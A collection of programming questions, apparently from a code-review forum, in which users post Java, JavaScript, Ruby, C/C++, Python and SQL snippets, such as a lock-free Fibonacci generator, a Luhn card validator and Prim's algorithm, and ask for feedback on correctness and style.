texts: Lock-free thread-safe Fibonacci number generator

texts:
Here is my implementation of a lock-free thread-safe Fibonacci number generator. Is it correct? The idea is to use an immutable holder for previous and current numbers (since it's hard to change two values atomically at the same time) and AtomicReference which points to the current Fibonacci number.

Lock-free

public class FibonacciSequence {

    private static class FibonacciNumber {
        protected final BigInteger prev;
        protected final BigInteger curr;

        public FibonacciNumber(BigInteger prev, BigInteger curr) {
            this.prev = prev;
            this.curr = curr;
        }

        public FibonacciNumber next() {
            return new FibonacciNumber(curr, prev.add(curr));
        }

        public BigInteger value() {
            return curr;
        }
    }

    private static final class FirstFibonacciNumber extends FibonacciNumber {

        public FirstFibonacciNumber() {
            super(null, BigInteger.valueOf(0L));
        }

        public FibonacciNumber next() {
            return new FibonacciNumber(curr, BigInteger.valueOf(1L));
        }

    }

    private final AtomicReference<FibonacciNumber> currentFibNumberRef;

    public FibonacciSequence() {
        currentFibNumberRef = new AtomicReference<>(new FirstFibonacciNumber());
    }

    public BigInteger next() {
        while (true) {
            FibonacciNumber currFibNumber = currentFibNumberRef.get();
            if (currentFibNumberRef.compareAndSet(currFibNumber, currFibNumber.next()))
                return currFibNumber.value();
        }
    }

Testing

    public static void main(String[] args) {
        testFibonacciNumberCorrectness();
        // todo add thread-safe test
    }

    private static void testFibonacciNumberCorrectness() {
        int[] some = {0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144,
                       233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946,
                       17711, 28657, 46368, 75025, 121393, 196418, 317811};
        FibonacciNumber currFibNumber = new FirstFibonacciNumber();

        for (int num : some) {
            assert num == currFibNumber.value().intValue();
            currFibNumber = currFibNumber.next();
        }
    }
}


texts: Scraping reviews from Google Play using JavaScript

texts:
What I'm trying to do:

Get user input for Google Play App page.

e.g. https://play.google.com/store/apps/details?id=jp.scn.android
Scrape 100 reviews from Google Play App and organize them into an array.

My JavaScript function:

function test() {
    var urlAdd = document.getElementById('input').value;
    var urlEnglish = urlAdd + '&hl=en';

    var query = {
    url: urlEnglish,
    type: 'html',
    selector: '[class=review-body]',
    extract: 'text'
    },
    request;

    request = 'http://example.noodlejs.com/?q=' +
    encodeURIComponent(JSON.stringify(query)) +
    '&callback=?';

    jQuery.getJSON(request, function (data) {
    document.getElementById('output').innerHTML = '<pre>' +
    JSON.stringify(data, null, 4) + '</pre>';
    })
};

Problems:

This function feels bulky.
It only returns 20 results. My guess is that this has something to do with how the Google Play DOM retrieves reviews.

Questions:

How do I streamline/improve my scraper function?
How do I get 100 results or more?

Comments:

My apologies if this is a simple solution. I just started learning JavaScript piecemeal in February.


texts: Refactored code for updating user password, email and other info

texts:
I have to update user email and password if they are present in the params, I have other user information also which can be updated.

this is the method I have written, but it doesn't seem like a good method

def update
    if user_params[:current_email].present?
      if @current_user.has_valid_email?(user_params[:current_email])
        @current_user.update(email: user_params[:new_email])
      else
        render json: {errors: ["Current Email did not match!"]}, status: :unprocessable_entity and return
      end
    end
    if user_params[:current_password].present?
       if @current_user.has_valid_password?(user_params[:current_password])
        @current_user.update(password: user_params[:new_password])
      else
        render json: {errors: ["Current Password did not match!"]}, status: :unprocessable_entity and return
      end
    end
    if @current_user.update(sanitized_params)
      @web_user = @current_user
      render :show
    else
      render json: {errors: @current_user.errors.full_messages}, status: :unprocessable_entity
    end
  end

private

  def sanitized_params
    user_params.slice!(:current_email,:new_email,:current_password,:new_password)
  end

  def user_params
    params.permit(:current_email, :new_email, :current_password, :new_password, :password_confirmation, :reminders_frequency,
                  :coaching_style, :coaching_style_status,:suggestion_preference,:language,:region)
  end


texts:
I've seen variations of this assignment where you reverse a string to match it to the original to find out if it is a palindrome, but this version I made only iterates through half of the string comparing it in reverse and would terminate the loop as soon as it notices a difference between the mirrored char and the current one in the index loop. This causes fewer loops than a reversal of the string.

There is a statement with a ternary operator and a modulus that could be perceived as hard to read.

Is there a better way than comparing chars?
If you saw this in a code test as an answer, what would you assess this as?
Is the more complex line with the ternary operator showing a more advanced knowledge of options or is it only hard to read?

Any other comments are welcome!

public boolean checkPalindrome(String word) {
    boolean palindrome = true;
    int wordLength = word.length() - 1;
    // If the word is dividable by 2 return half else return half including the middle char
    int halfWord = word.length() % 2 == 0? (word.length()/2) : ((int) word.length()/2) + 1 ;
    for(int i = 0; i < halfWord; i++) {
        char first = word.toLowerCase().charAt((wordLength - i));
        char last = word.toLowerCase().charAt(i);
        if(!(first == last)) {
            palindrome = false;
            break;
        }
    }
    return palindrome;
}


texts: Is this a good way to store error messages to display back to the user?

texts:
I use the following code to put all of my error messages for the application in one javascript variable. Is this efficient way to store my error messages?

var cosmoBase = {
    messages: {
        empty: "Please enter ",
        numeric: "Please enter a valid number for ",
        date: "Please enter a valid date for "
    }
};
//Error messages
var cosmo = {
    messages: {
        lastName: {
            empty: cosmoBase.messages.empty + "Last Name"
        },
        dob: {
            empty: cosmoBase.messages.empty + "Date of Birth",
            invalid: cosmoBase.messages.date + "Date of Birth"
        },
        ssn: {
            empty: cosmoBase.messages.empty + "SSN",
            invalid: cosmoBase.messages.numeric + "SSN"
        },
        studentId :{
            empty: cosmoBase.messages.empty + "Student ID",
            invalid: cosmoBase.messages.numeric + "Student ID"
        }
    }
};

MORE INFO

The code above is stored in a js file

I am referencing the error messages like this :

var validator = $("form:first").validate({
    errorClass: 'Input_State_Error',
    rules: {
        lastName: {
            required: true
        },
        dob: {
            required: true,
            date: true,
            minlength: 10
        },
        ssn: {
            required: true,
            minlength: 4
        },
        studentId: {
            required: true
        }
    },
    messages: {
        lastName: cosmo.messages.lastName.empty,
        dob: {
            required: cosmo.messages.dob.empty,
            date: cosmo.messages.dob.invalid
        },
        ssn: cosmo.messages.ssn.empty,
        studentId: cosmo.messages.studentId.empty
    },
    errorPlacement: function(error, element) {
        error.appendTo($('#msg'));
    }
});


texts:
This is a classic linked list problem.

Deleting a node from linked list given the data to be deleted.
Inserting a node in a sorted linked list.

I saw various versions of this and here is my version. Could you check and let me know if this code is efficient?

void deletenode(struct node *&first, int data)
{
    struct node * current = first;// first will have the node after deletion

    struct node * prev = (node *)malloc(sizeof(node));
    while(current!=NULL)
    {
        if(current->data!=data)
        {
            prev=current;
            current = current->next;
        }
        else
        {
            prev->next = current->next;
            delete current;
            break;
        }
    }
}

void insertinsortedlist(struct node *& first, int data)
{
    struct node * current = first;// first will have the node after insertion
    struct node * newnode = (node *)malloc(sizeof(node));
    newnode->data = data;
    struct node * temp = (node *)malloc(sizeof(node));
    while(current)
    {
        if((current->data < data) && (current->next->data > data))
        {
            temp = current->next;
            current->next = newnode;
            newnode->next = temp;
            break;
        }
        current = current->next;
    }
}


texts: Module to support autocomplete for movie tags

texts:
I've just completed a JavaScript module and I've got a strong feeling that this is borderline spaghetti code. My task was to build a tagging form which adds selected tags to hidden outputs to be sent to a server.

var tags = [];
var createdTags;
var addedTags = [];
var isNewTag, selectedTag, i;

$("#created-tags").attr("value", "[]");

$.ajax({

    type: "GET",
    cache: false,
    dataType: 'json',
    url: "/portal/index.php/movies/get_tags",
    success:
        function(response) {
            $("#tags-typealong").autocomplete({
                source: response,
                minLength: 1,
                select: function (event, ui) {
                    event.preventDefault();
                    selectedTag = ui.item;
                    //tags = current tags
                    tags = $.parseJSON($('#tags').attr('value'));
                    isNewTag = true;
                    //is tag already added?
                    for(i = 0; i < tags.length; i++) {
                        if(selectedTag.id == tags[i].id)
                            isNewTag = false;
                    }
                    //update addedTags if new
                    if(isNewTag) {
                        tags.push(selectedTag);
                        addedTags.push(selectedTag.id);
                        add_tag_render(selectedTag.name);
                    }
                    //update dom for tag_form.js
                    $("#tags").attr("value", JSON.stringify(tags));
                    $("#added-tags").attr("value", JSON.stringify(addedTags));
                    $("#tags-typealong").val('');
                }

            }).data( "autocomplete" )._renderItem = function( ul, item ) {
                return $("

")
                    .data( "item.autocomplete", item )
                    .append( '' + item.name  + '' )
                    .appendTo(ul);
            }
        }
});

$("#tags-typealong").keyup(function (event) {

    var isNew = true;

    if(event.keyCode == 32) {
        //get updated tag selections
        var tagName = $(this).val();
        tagName = tagName.slice(0, -1);
        createdTags = $.parseJSON($('#created-tags').attr('value'));
        tags = $.parseJSON($('#tags').attr('value'));
        //check tags from db
        for(i = 0; i < tags.length; i++) {
            if(tags[i].name == tagName)
                isNew = false;
        }
        //check existing created tags
        for(i = 0; i < createdTags.length; i++) {
            if(createdTags[i] == tagName)
                isNew = false;
        }
        if(isNew) {
            add_tag_render(tagName);
            createdTags.push(tagName);
            $("#created-tags").attr("value", JSON.stringify(createdTags));
        }
        $("#tags-typealong").val('');
        //TODO!
        //is tagname in db already?

    }

});

function add_tag_render(tagName) {

    $(".tag-container").append('

' + tagName + '

');
    $("#tags-typealong").appendTo(".tag-container");
    $("#tags-typealong").focus();

}


texts: Implementation of Prim's algorithm in C++

texts:
Could anyone comment on what could be done better and if I made any mistakes?

#include <iostream>
#include <vector>
#include <algorithm>

using namespace std;

typedef pair<pair<int, int>, int> Edge; //a, b, length
// A---------B
//   length

vector<Edge> prims_algo(vector<vector<int>> graph, int number_of_nodes){
    vector<int> unvisited;
    vector<int> visited;
    vector<Edge> result;

    //mark first as visited and mark the rest as unvisited
    for (int i = 1; i < number_of_nodes; i++)
        unvisited.push_back(i);
    visited.push_back(0);

    while (!unvisited.empty()) {

        vector<Edge> edges_with_lengths;
        //put all edges (with their lengths) from nodes that are in visited
        for(auto node : visited) {
            for (int sec_node = 0; sec_node < number_of_nodes; sec_node++) {
                if (graph[node][sec_node] > 0 && find(unvisited.begin(), unvisited.end(), sec_node) != unvisited.end()) {
                    //add if there is connection and second node is not visited yet
                    Edge e = make_pair(make_pair(node, sec_node), graph[node][sec_node]);
                    edges_with_lengths.push_back(e);
                }
            }
        }

        //find the shortest edge
        pair<pair<int, int>, int> the_shortest;
        the_shortest = edges_with_lengths.front();
        for(auto i: edges_with_lengths){
            if(the_shortest.second > i.second)
                the_shortest = i;
        }

        //add the shortest path to the result
        result.push_back(the_shortest);

        //remove a node that the shortest edge leads to
        unvisited.erase(remove(unvisited.begin(), unvisited.end(), the_shortest.first.second), unvisited.end());

        //mark this node as visited
        visited.push_back(the_shortest.first.second);
    };
    return result;
}

int main() {
    /*
       2    3
   (0)--(1)--(2)
    |   / \   |
   6| 8/   \5 |7
    | /     \ |
   (3)-------(4)
         9          */
    vector<vector<int>> graph =
                     {{{0, 2, 0, 6, 0},
                       {2, 0, 3, 8, 5},
                       {0, 3, 0, 0, 7},
                       {6, 8, 0, 0, 9},
                       {0, 5, 7, 9, 0},
    }};

    vector<Edge> result = prims_algo(graph, 5);
    for(auto i:result){
        cout<<"EDGE [ " <<i.first.first<<", "<<i.first.second<<"], length: "<<i.second<<endl;
    }

    return 0;
}


texts:
I'm really concerned about clean programming and nice readable code.

My goal is to change string (text), when user clicks on various products on the webpage. I noticed that my code is repeating and looks very simple (not professional). The most appropriate option would be to refactor my code and make it look better.

var text = $('.inner-container h1').text();
var changeString = $('.inner-container h1');

$('.ottogi').click(function() {
    if (text == 'Ottogi') {
        $(changeString).text('Ottogi');
    }
});
 $('.sajo').click(function() {
     if (text == 'Ottogi') {
        $(changeString).text('Sajo Hapyo');
    }
 });
  $('.natura').click(function(){
     if (text == 'Ottogi') {
        $(changeString).text('Natura Bogata');
    }
 });
$('.maloo').click(function(){
     if (text == 'Ottogi') {
        $(changeString).text('ТОО Малу');
    }
 });
$('.dongush').click(function(){
     if (text == 'Ottogi') {
        $(changeString).text('Dongsuh');
    }
 });
 $('.may').click(function(){
     if (text == 'Ottogi') {
        $(changeString).text('ООО Май');
    }
 });


texts: Credit card validator using Luhn's algorithm

texts:
I'm writing an algorithm to read from a file a list of numbers, and for each, determine if it is valid. If it is, then display which card type it is.

public class CreditCardValidator {

    /**
     * @param args the command line arguments
     * @throws java.io.FileNotFoundException
     */
    public static void main(String[] args) throws FileNotFoundException {
        Scanner scan = new Scanner(new File(args[0])); // read from a file
        while (scan.hasNextLine()) {
            String str = scan.nextLine();
            if (validate(str)) {
                System.out.println(creditCardType(str));
            } else {
                System.out.println("Invalid");
            }
        }
    }

    private static boolean validate(String str) {
        String reverse = new StringBuilder().append(str).reverse().toString();
        int[] array = new int[str.length()];
        for (int i = 0; i < array.length; i++) {
            array[i] = Integer.parseInt("" + reverse.charAt(i));
        }
        int sum = 0;
        for (int i = 0; i < array.length; i++) {
            if (i % 2 == 1) {
                array[i] *= 2;
                if (array[i] > 9) {
                    array[i] -= 9;
                }
            }
            sum += array[i];
        }
        return sum % 10 == 0;
    }

    private static String creditCardType(String str) {
        int input1Char = Integer.parseInt(str.substring(0, 1));
        int input2Chars = Integer.parseInt(str.substring(0, 2));
        int input3Chars = Integer.parseInt(str.substring(0, 3));
        int input4Chars = Integer.parseInt(str.substring(0, 4));
        int input6Chars = Integer.parseInt(str.substring(0, 6));

        if (input2Chars == 34 || input2Chars == 37) {
            if (str.length() == 15) {
                return "American Express";
            }
        }

        if (input4Chars == 6011
                || (input6Chars >= 622126 && input6Chars <= 622925)
                || (input3Chars >= 644 && input3Chars <= 649)
                || input2Chars == 65) {
            if (str.length() == 16) {
                return "Discover";
            }
        }

        if (input2Chars >= 51 && input2Chars <= 55) {
            if (str.length() >= 16 && str.length() <= 19) {
                return "MasterCard";
            }
        }

        if (input1Char == 4) {
            if (str.length() >= 13 && str.length() <= 16) {
                return "Visa";
            }
        }
        return "Invalid Credit Card Type";
    }
}


texts: Trying to sort text into groups to decrypt alphanumeric codes (Python IDE 3)

texts:
I’m using Python IDE 3. My goal is this:
If I have a string of text, ‘ABCDEFGHIJKL’, I want to sort it into groups, like three groups (‘ADGJ’,’BEHK’,’CFIL’).
I require input for this, but the prompts aren’t showing up and I can’t type in input. Here’s my code:

#data
code_text = input('Text: ').lower()
code_skip = int(input('Shift length: '))
code_list = []
#function
def countSkip(text, shift, list):
    i = 0
    set = 1
    def iterate():
      if set <= shift:
        for e in text:
#make sure the set starts at the right place
          if e.index()+1 < set:
            pass
          elif shift != 0:
            if i = shift:
              list.append(e)
              i = 0
            i += 1
          else:
            list.append(e)
          set += 1
    iterate()
#calling function
countSkip(code_text, code_shift, code_list)


texts: Using Reflection to Initialize Instance Variables

texts:
I'm facing the issue of how to reconstruct data across a network in Java.  As part of my Component based game engine (read about it here, I have to encode components as XML on the server, send it to the client, and then reconstruct the appropriate component with all the data included in the XML.  For example:

package.TextureComponent
id 1 /id
width 100 /width
height 100 /height
/package.TextureComponent

Right now, I use reflection on the client to construct a new TextureComponent (but this will work for any component with primitive data types) using the complete name of the class.  I then sequentially read all the String parameters from the XML into the component using reflection in this BasicDecoder:

public class BasicDecoder implements DataDecoder {

    @Override
    public void decode(DataComponent component, String[] data) {
        Class<? extends DataComponent> compClass = component.getClass();

        // fills in all public fields with data in order
        Field[] fields = compClass.getFields();
        for (int i = 0; i < fields.length; i++) {
            Field field = fields[i];
            Class fieldType = field.getType();
            String typeName = fieldType.getName().toUpperCase().replace(".", "");
            FieldType type;
            try {
                type = FieldType.valueOf(typeName);
            } catch (Exception ex) {
                throw new RuntimeException("BasicDecoder cannot handle field: " + typeName);
            }
            try {
                switch (type) {
                case INT:
                    field.setInt(component, Integer.parseInt(data[i]));
                    break;
                case DOUBLE:
                    field.setDouble(component, Double.parseDouble(data[i]));
                    break;
                case BYTE:
                    field.setByte(component, Byte.parseByte(data[i]));
                    break;
                case SHORT:
                    field.setShort(component, Short.parseShort(data[i]));
                    break;
                case LONG:
                    field.setLong(component, Long.parseLong(data[i]));
                    break;
                case FLOAT:
                    field.setFloat(component, Float.parseFloat(data[i]));
                    break;
                case BOOLEAN:
                    field.setBoolean(component, Boolean.parseBoolean(data[i]));
                    break;
                case CHAR:
                    field.setChar(component, data[i].charAt(0));
                    break;
                case JAVALANGSTRING:
                    field.set(component, data[i]);
                    break;
                }
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    }

    private enum FieldType {
        INT, DOUBLE, BYTE, SHORT, LONG, FLOAT, BOOLEAN, CHAR, JAVALANGSTRING
    }
}

Is there any way I can improve this code?  Is reflection the wrong way to go?  I shied away from having each Component define its own decoder because I felt that it would result in a lot of classes which look more or less similar.


texts:
I'm writing 2x2x2 rubics cube simulator. In my code I have a concept of Face which is individual side of the cube, and State which is agregate of all six sides. When I create new State, in addition to creating faces I need to set all neighbour faces for a given face. Currently I do this in manual way, as in:

faces[Side.Top][Direction.Up] = faces[Side.Back];
faces[Side.Top][Direction.Down] = faces[Side.Front];
faces[Side.Top][Direction.Left] = faces[Side.Left];
faces[Side.Top][Direction.Right] = faces[Side.Right];

faces[Side.Bottom][Direction.Up] = faces[Side.Front];
faces[Side.Bottom][Direction.Down] = faces[Side.Back];
faces[Side.Bottom][Direction.Left] = faces[Side.Left];
faces[Side.Bottom][Direction.Right] = faces[Side.Right];
...

However I feel theres more algorithmical approach which I can't figure out. Does anyone know better way to do this?

Here's full code I've got so far if anyone's interested.


texts: Undo Redo pattern for high performance? C#

texts:
I am looking for a undo redo system that allows me to log changes of properties.
After searching a bit I found the memento pattern.
I took the idea and wrote it in my classes:

Basic Structure:

public class Face
{
    List<Vertex> vertices;
}

public class Vertex : ValueLog<Vertex>
{
    Vector3 _position;
    public Vector3 Position
    {
        set { Log(); _position = value; }
        get { return _position; }
    }

    public Vertex(Vector3 position)
    {
        _position = position;
    }

    protected override void Restore(Vertex value)
    {
        _position = value._position;
    }

    protected override Vertex GetLogValue()
    {
        return new Vertex(_position);
    }
}

ValueLog class to keep track of the modification history:

public abstract class ValueLog<T> : ICmd
{
    Stack<T> undoStack;
    Stack<T> redoStack;

    bool logged = false;

    public ValueLog()
    {
        undoStack = new Stack<T>();
        redoStack = new Stack<T>();
    }

    protected abstract void Restore(T value);
    protected abstract T GetLogValue();

    protected void Log()
    {
        if (!logged && !Logger.Instance.logPaused)
        {
            logged = true;

            redoStack.Clear();
            undoStack.Push(GetLogValue());

            // add log operation to a list of operations that happen at once
            Logger.Instance.AddCmd(this);

            Logger.Instance.OnCollect += OnCollect;
        }
    }

    public override void Undo()
    {
        if (undoStack.Count > 0)
        {
            T current = GetLogValue();
            redoStack.Push(current);

            T restore = undoStack.Pop();
            Restore(restore);
        }
    }

    public override void Redo()
    {
        if (redoStack.Count > 0)
        {
            T current = GetLogValue();
            undoStack.Push(current);

            T restore = redoStack.Pop();
            Restore(restore);
        }
    }

    void OnCollect()
    {
        // called when operation finished (On Mouse Up)
        logged = false;
        Logger.Instance.OnCollect -= OnCollect;
    }
}

So far it works fine. However I plan to have about a million of vertices. If I set the position of 100.000 of them at the same time I expect some performance problems. Also storage will be critical if each Vertex stores two Stacks.

Is there something I can optimize?
Is there a better pattern to solve this?
Is it possible to move this on a gpu to run faster?

Thank you for reading and answers! Sorry for this code heavy question. This is only the important part of the code. I don't want to explode the question with the whole code.


texts: Getting all the master nodes in an elasticsearch cluster

texts:
I am trying to get all the master nodes in an elasticsearch cluster using this code. Can I reduce/simply this or optimize further?

#!/usr/bin/env ruby
require 'elasticsearch'

client_node = ARGV[0]

client = Elasticsearch::Client.new host: client_node

clients = client.nodes.info process: true

clients['nodes'].each do |node|
        node_id = node[0]
        puts clients['nodes'][node_id]['host'] if clients['nodes'][node_id]['attributes']['master']== "true"
end


texts: Query of consultants and their expected payments for the month

texts:
I have the following SQL query which takes ~3 seconds to run, maybe ~4. This populates a consultants table with their expected payments for the month.

Unfortunately, the page only loads when this query is finished. Is there any way to make it quicker?

Is there anything you notice that I could do better or any best practices I could follow?

DECLARE @lastMonthDate VARCHAR(10)
DECLARE @currentMonthDate VARCHAR(10)
DECLARE @Year VARCHAR(10)

SET @lastMonthDate = CONVERT(VARCHAR(4), DATEPART(YEAR, DATEADD(MONTH, -1, GETDATE())))+'-'+CONVERT(VARCHAR(2), DATEPART(MONTH, DATEADD(MONTH, -1, GETDATE())))+'-21'
SET @currentMonthDate = CONVERT(VARCHAR(4), DATEPART(YEAR, GETDATE()))+'-'+CONVERT(VARCHAR(2), DATEPART(MONTH, GETDATE()))+'-20'
SET @Year = DATEPART(YEAR, GETDATE())

SELECT Comp_Name, comp_idnr, oppo_date17_1sent,datename(month, oppo_date17_1sent), budg_tempDODate1, CONVERT(DECIMAL(10,2), budg_do1_total) AS budg_do1_total, budg_paymentMethodM_R,  v_ClientTransactionSummary.HyphenStatus, v_ClientTransactionSummary.TransactionDate FROM Company

JOIN Opportunity on Company.Comp_CompanyId = Opportunity.Oppo_PrimaryCompanyId
JOIN Budget on  Opportunity.Oppo_OpportunityId = Budget.budg_OpportunityId
JOIN Users on company.Comp_PrimaryUserId = User_UserId
Join Channel on User_PrimaryChannelId = Channel.Chan_ChannelId
JOIN [Server2].PayTrader.dbo.v_ClientTransactionSummary on Company.comp_idnr COLLATE SQL_Latin1_General_CP1_CI_AS = v_ClientTransactionSummary.IDNumber COLLATE SQL_Latin1_General_CP1_CI_AS AND budg_do1_total = v_ClientTransactionSummary.ExpectedAmount AND CONVERT(Date, budg_tempDODate1, 105) = CONVERT(Date, v_ClientTransactionSummary.TransactionDate, 105)
WHERE CONVERT(DATE, budg_tempDODate1) BETWEEN CONVERT(DATE, @lastMonthDate) AND CONVERT(DATE, @currentMonthDate) AND User_FirstName = @Name AND User_LastName = @Lastname AND Oppo_deleted IS NULL
Order by budg_tempDODate1 ASC


texts:
My __main__.py file has a function's flow, based on methods of each class instance, which each one has its own methods and attributes, like this:

from xlrd                              import open_workbook
from pprint                            import pprint
from rubrica_manager                   import RubricaManager
from rectified_rubrica_manager         import RectifiedRubricaManager
from rectification_spreadsheet_manager import RectificationSpreadsheetManager
from gps_manager                       import GPSManager
from sys                               import exit
from data_comparison                   import DataComparison

def main():
    '''
    Execute PostDiagnosisChecker
    '''
    rm  = RubricaManager("File1.xlsx")
    rrm = RectifiedRubricaManager("File2.xlsx")
    rsm = RectificationSpreadsheetManager("File3.xlsx")
    gm  = GPSManager("File4.xlsx")

    object_collection = [rm, rrm, rsm, gm]

    for current_spreadsheet in object_collection:
        '''
        evaluate each object if it has the method or attribute before executing
        '''
        methods_list = dir(current_spreadsheet)
        if "load_data" in methods_list.get("load_data"):
            current_spreadsheet.load_data()
        if "spreadsheet_to_array" in methods_list:
            current_spreadsheet.spreadsheet_to_array()
        if "headers_array" in methods_list:
            current_spreadsheet.headers_array
        if "headers_used_indexes" in methods_list:
            current_spreadsheet.get_used_indexes(0)
        if "remove_duplicity_by_timestamp" in methods_list:
            current_spreadsheet.remove_duplicity_by_timestamp()
        if "array_to_dictionary" in methods_list:
            current_spreadsheet.array_to_dictionary()

There are methods commonly to all of instances, some of them are not. Because of that, I thought about a way to evaluate if each instance has its respective method, but I don't know if this is the most performative way. Any ideas?

Python version 2.6.


texts: Working with pandas dataframes for stock backtesting exercise

texts:
I'm attempting to apply a long set of conditions and operations onto a pandas dataframe (see the dataframe below with VTI, upper, lower, etc). I attempted to use apply, but I was having a lot of trouble doing so. My current solution (which works perfectly) relies on a for loop iterating through the dataframe. But my sense is that this is an inefficient way to complete my simulation. I'd appreciate help on the design of my code.

VTI    uppelower  sell  buy        AU     BU     BL      date    Tok order
44.58  NaN NaN  False   False   False   False   False   2001-06-15  5  0
44.29  NaN NaN  False   False   False   False   False   2001-06-18  5  1
44.42  NaN NaN  False   False   False   False   False   2001-06-19  5  2
44.88  NaN NaN  False   False   False   False   False   2001-06-20  5  3
45.24  NaN NaN  False   False   False   False   False   2001-06-21  5  4

If I wanted to run a bunch of conditions and for loops like the below and run the function below (the get row data function) only if the row meets the conditions provided, how would I do so?

My intuition says to use .apply() but I'm not clear how to do it within this scenario. With all the if's and for-loops combined, it's a lot of rows. The below actually outputs an entirely new dataframe. I'm wondering if there are more efficient/better ways to think about the design of this simulation/stock backtesting process.

Get row data simply obtains key data from the dataframe and computes certain information based on globals (like how much capital I have already, how many stocks I have already) and spits out a list. I append all these lists into a dataframe that I call the portfolio.

I've given a snippet of the code that I've already made using a for-loop.

 ##This is only for the sell portion of the algorithm
 if val['sell'] == True and tokens == maxtokens:
        print 'nothign to sell'

if val['sell'] == True and tokens < maxtokens:
    print 'sellprice', price

    #CHOOSE THE MOST EXPENSIVE POSITION AND SELL IT#
    portfolio = sorted(portfolio, key = lambda x: x[0], reverse = True)
    soldpositions = [position for position in portfolio if position[7] == 'sold']
    soldpositions = sorted(portfolio, key=lambda x: x[1], reverse = True)

    for position in portfolio:

        #Position must exist
        if position[9] == True:
            print 'position b4 sold', position

            #Position's price must be LOWER than current price
            #AND the difference between the position's price and current price must be greater than sellbuybuffer
            if abs(position[0] - price) <= sellbuybuffer:
                print 'does not meet sellbuybuffer'

            if position[0] < price and abs(position[0] - price) >= sellbuybuffer:
                status = 'sold'

                #This is if we have no sold positions yet
                if len(soldpositions) == 0:

                   ##this is the function that is applied only if the row meets a large number of conditions
                   get_row_data(price, date, position, totalstocks, capital, status, tokens)


texts:
I am trying to solve this problem on Codechef, which has a list of \$N\$ coins, all initially tails-up, and a list of \$Q\$ commands. There are two possible commands, 0 A B flips all coins in the interval [A, B] and 1 A B prints the number of heads-up coins in the interval [A, B] (both intervals include B).

After reviewing somebody else's answer that exceeded the time-limit, I came up with a fast numpy answer, which was still not fast enough for the online judge (3s instead of 0.3s).

However, one other reviewer suggested the following algorithm:

  The key observation is that a 0 a b operation is in fact a pair of operations: flip coins from a to the end, and flip coins from b + 1 to the end. This leads to the solution:

  Decouple the 0 a b operation into a and b+1
  Maintain the list of flip points, and keep it ordered
  To perform a 1 operation, find the largest flip point before A. If its index in flip list is even, the A coin is tails
  up, otherwise it is heads up. Then, traverse the flip list until B
  adding up lengths of every other interval.

I tried to implement this, using bisect to keep the list of flips sorted, but it is a lot slower (20s for the same worst-case input as the 3s quoted above).

from bisect import bisect_left, insort

n, q = map(int, input().split())

flips = []

for _ in range(q):
    command, start, end = map(int, input().split())
    if command == 0:
        insort(flips, start)
        insort(flips, end + 1)
    elif command == 1:
        flip_start = bisect_left(flips, start)
        flip_end = bisect_left(flips, end + 1)
        flips_temp = flips[flip_start:flip_end]
        insort(flips_temp, end + 1)
        if flip_start % 2:
            insort(flips_temp, start)
        print(sum(flips_temp[1::2]) - sum(flips_temp[:-1:2]))

However, this is probably not the best implementation of that algorithm, maybe there is a way to use heapq to keep the list sorted (but then slicing and traversing it become harder). So, any comments, especially on how to speed this up, are welcome.

I am aware that one should normally put this into a function and make it re-usable, but since this is time-critical code I think it is fine to leave it all in the global namespace. It is a one-shot script, anyway.

The worst-case input file I used (which I generated using the code in my linked answer from above) can be found here (1.4 MB). It assumes the maximum allowed values for \$N\$ and \$Q\$ and contains a random sequence of the two allowed commands.

I feed it to this code with the following command (and time it at the same time):

time cat flipping_coins.dat | python3 flipping_coins.py

Running only the cat command already takes 0.17s.

As Ev. Kounis noted in the comments, there is currently no solution in pure Python that successfully beats this challenge. There are, however, a couple of PyPy solutions, which use segment trees.


texts: More ergonomic / convenient STL algorithm calls -- sort order & member field extraction using std::invoke

texts:
While we patiently wait for ranges in C++20, it can still get somewhat frustrating to write begin(), end() and micro-lambdas to specify "sort order" and "field extraction".

It is the latter, "field extraction" which I find is very commonly needed, but rarely discussed. The C++11 lambda has made it easier but the syntax is still very verbose for a very common task. There was even a recent slack/cpplang question about it. Inspired by a comment in Sean Parent's famous Seasoning talk, where he suggested using std::bind to abstract this syntax, I looked into modern alternatives. std::bind has a bad name for being large and slow. More modern is std::invoke from C++17.

So my proof of concept below tries to get to some terser syntax for these common operations using std::invoke.

I am looking for feedback on:

Coding style
Constraining that template - with / without c++20 concepts (it's wide open right now)
The new, terser calling syntax for STL algos which operate on some user defined class and require field/member extraction and potentially sorting on those.
std::sort is just one example. This could work for std::accumulate or anything really. Would I need up to 115 such wrapper templates? is there a better way.

Code size may still be a concern (even with std::invoke rather than std::bind) as shown by the the generated ASM here. The base case of the traditional lambda generates ~2000 lines of assembly code (LOA). Then each of the "new syntax" lines generates a further 2000 LOA -bringin it to ~8000 LOA in total for clang-9 -O3. Because the sortby template is stamped out for each type of lambda.

I haven't measured performance. Will all this code slow it down significantly with a lot of boilerplate and indirection, or is it just code size that suffers?

EDIT: Benchmark data has now been added below.

#include <algorithm>
#include <functional>
#include <iostream>
#include <ostream>
#include <string>
#include <vector>

struct Employee {
  int         id;
  std::string firstname;
  std::string lastname;
  int         yob;

  [[nodiscard]] int getAge() const noexcept { return 2020 - yob; }

  friend std::ostream& operator<<(std::ostream& stream, const Employee& e) {
    return stream << e.id << ", " << e.firstname << ", " << e.lastname << ", " << e.yob << ", "
                  << e.getAge();
  }
};

namespace os::algo {

// the following 6 lines make it possible
template <typename Container, typename Member, typename Comparison = std::less<>>
void sortby(Container& c, Member&& m, Comparison comp = Comparison()) {
  std::sort(c.begin(), c.end(), [&m, &comp](const auto& a, const auto& b) {
    return comp(std::invoke(m, a), std::invoke(m, b));
  });
}

} // namespace os::algo

int main() {

  using os::algo::sortby;

  auto employees = std::vector<Employee>{
      {1, "James", "Smith", 2008},
      {2, "John", "Jones", 1998},
      {3, "Sarah", "Evans", 1968},
      {4, "Michelle", "Harris", 1978},
  };

  // BEFORE: This is what's required with normal STL calls
  std::sort(employees.begin(), employees.end(),
            [](const auto& a, const auto& b) { return a.firstname < b.firstname; });

  // AFTER: and now we can do this...

  // the easy part -- no begin(), end()

  // trivial, terse sorting by any member field
  sortby(employees, &Employee::firstname);

  // trivially specify sort direction
  sortby(employees, &Employee::yob, std::greater<>());

  // can use getters too
  sortby(employees, &Employee::getAge, std::greater<>());

  for (const auto& e: employees) std::cout << e << "\n";

  // std::sort is but one example. The same technique applies to any STL algorithm

  return 0;
}


texts:
BACKGROUND

